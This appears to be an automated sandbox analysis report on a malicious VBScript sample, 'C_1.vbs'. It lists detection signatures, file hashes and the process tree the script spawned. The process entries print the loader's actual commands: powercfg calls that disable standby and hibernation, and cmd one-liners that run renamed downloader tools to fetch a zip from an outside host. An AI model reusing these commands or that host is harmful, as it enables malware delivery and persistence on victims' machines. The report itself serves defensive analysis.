Overview

overview

7

Static

static

1

C_1.vbs

windows10-2004-x64

7

C_1.vbs

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 09:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    C_1.vbs
  • Size 6KB
  • Sample260721-k37flac19s
  • SHA256 ed65ae5835b176d4b49256784fe594639d361c4a6621109365512867bcf3cbb2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
executionpersistence

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C_1.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4316
    • C:\Windows\System32\powercfg.exe
      "C:\Windows\System32\powercfg.exe" /change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4232
    • C:\Windows\System32\powercfg.exe
      "C:\Windows\System32\powercfg.exe" /change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:936
    • C:\Windows\System32\powercfg.exe
      "C:\Windows\System32\powercfg.exe" /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Windows\System32\powercfg.exe
      "C:\Windows\System32\powercfg.exe" /hibernate off
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\sinhttp.dll -k -s -L --retry 3 --connect-timeout 15 -o "C:\Users\Admin\AppData\Local\Temp\c2b8.zip" https://junjun888.ccwu.cc/5555/2/c2b8.zip?v=18521.56
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Users\Admin\AppData\Local\Temp\sinhttp.dll
        C:\Users\Admin\AppData\Local\Temp\sinhttp.dll -k -s -L --retry 3 --connect-timeout 15 -o "C:\Users\Admin\AppData\Local\Temp\c2b8.zip" https://junjun888.ccwu.cc/5555/2/c2b8.zip?v=18521.56
        3⤵
        • Executes dropped EXE
        PID:6036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\sininet.dll /transfer DO2A1A /download /priority high https://junjun888.ccwu.cc/5555/2/c2b8.zip?v=18521.56 "C:\Users\Admin\AppData\Local\Temp\c2b8.zip"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Users\Admin\AppData\Local\Temp\sininet.dll
        C:\Users\Admin\AppData\Local\Temp\sininet.dll /transfer DO2A1A /download /priority high https://junjun888.ccwu.cc/5555/2/c2b8.zip?v=18521.56 "C:\Users\Admin\AppData\Local\Temp\c2b8.zip"
        3⤵
        • Executes dropped EXE
        PID:5232

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        sinhttp.dll
        • Path C:\Users\Admin\AppData\Local\Temp\sinhttp.dll
        • Size 656KB
        • SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        sininet.dll
        • Path C:\Users\Admin\AppData\Local\Temp\sininet.dll
        • Size 236KB
        • SHA256 2b090bb7151bf87fc6fa36e13f509b5059a68e694eec2253f1ab74f9a7a0247b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download